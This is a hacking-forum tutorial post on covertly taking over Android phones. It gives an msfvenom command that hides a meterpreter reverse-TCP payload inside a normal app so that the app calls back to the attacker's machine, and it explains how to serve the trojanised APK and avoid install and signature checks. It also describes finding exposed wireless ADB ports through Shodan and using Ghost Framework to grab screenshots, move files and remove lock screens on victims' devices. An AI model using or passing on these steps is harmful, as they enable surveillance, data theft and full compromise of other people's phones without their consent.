

Forum:[Hack Forums](#)

Thread: [Taking control of android devices - Tutorial - part 2](#)

2xTheTap115 - May 12, 2020, 4:11 am

A FEW ADDITIONAL NOTES ON THE GENERATION OF MALICIOUS FILES:

As I mentioned earlier, generating malicious files is not limited to one file extension. Thanks to this, we have the option of using encoders built into the metasploit package, thanks to which we are able to obscure our malicious load a bit and make it more difficult to detect by anti-virus programs. Unfortunately, it is not yet possible to use encoders for the ARM platform and the like (unless I do not know something then I will be forever grateful if you give me such information, from what I know they are available on adroid but on x86). However, we can make our application have a little better performance. As you have probably noticed, the generated application has practically no functionality other than creating a callback with our machine. The user probably seeing something like this immediately guessed that something is wrong and quickly uninstalled our malicious program. However, nothing prevents us from hiding our load in a completely normal application. In this case, the user is unlikely to notice that in addition to normal operation, such an application has some additional functions. For this purpose, we can choose any popular application and embed our load in it. To do this you can use msfvenom:

```
Code msfvenom -p android/meterpreter/reverse_tcp LHOST=ROUTER_IP_ADDRESS  
LPORT=PORT_NUMBER -x /PATH/TO/FILE/APK -k > /var/www/html/file_name.apk
```

The command does not differ much from the previous one except two parameters. The "x" parameter tells msfvenom what file to use as the "container" for our payload. The parameter "k" indicates msfvenom that after launching on the victim's device the application works normally, as intended, and our load will be started in another thread on the victim's machine. After this procedure, we have fully functional applications with embedded malicious payload. However, I must point out that if you embed the load in an application that is already installed on the victim's device, such an attack will fail (the same if the victim does not have the "unknown sources" option selected in the developer options). This is because such an application will be treated as an update to an existing application on the android system. And due to the fact that our modified version is not signed with the digital development key will be rejected as incorrect. In older versions of android there was a vulnerability called "Android Master Key" which allowed to cheat the mechanism of checking the correctness of the signature, however it was patched in newer versions. Therefore, if you fail to make a call back to the victim's phone, the application is probably already installed there or the system does not allow installation from unknown sources.

Another interesting and at the same time very easy way to gain access to the victim's phone from both the Internet and the local network is to use ADB (Android Device Bridge). As you probably know, adb is a development tool for working with a phone from a computer. Connection to this interface can be done via a USB cable but also a wireless interface. And the other one We will use gi as a mobile attack vector. Of course, it should be mentioned here that not all devices will be susceptible to it due to the fact that by default debugging and wireless adb interface are disabled by default for security reasons (In addition, recently released Android version 11 introduced the so-called device pairing mechanism where we need to enter 6 - digital code to connect successfully). However, many programmers using this solution quite often forget to turn off this option when they do not use it (to find out now go to the Shodan search engine and enter the phrase Android Device Bridge into it and see how many such interfaces are available immediately in Internet). For the purposes of the guide, you can run wireless ADB on your phone in the developer

options (default port settings, usually port 5555). Then connect to your wifi. We will now use a script called Ghost Framework to remotely take control of the device. After running the script, issue the command:

Code connect PHONE_IP_ADDRESS:PORT_NUMBER

After a while, the ghost program should get connected to the phone. The program itself has many different options thanks to which we will be able to take a screenshot of the phone, get system information, download and upload files, remove the screen lock and much more. I recommend you enter the "help" command to get information on all the possibilities of this framework. Its use is not too complicated and there is no need to dwell on it anymore.

That would be enough, I hope this guide will prove useful to you??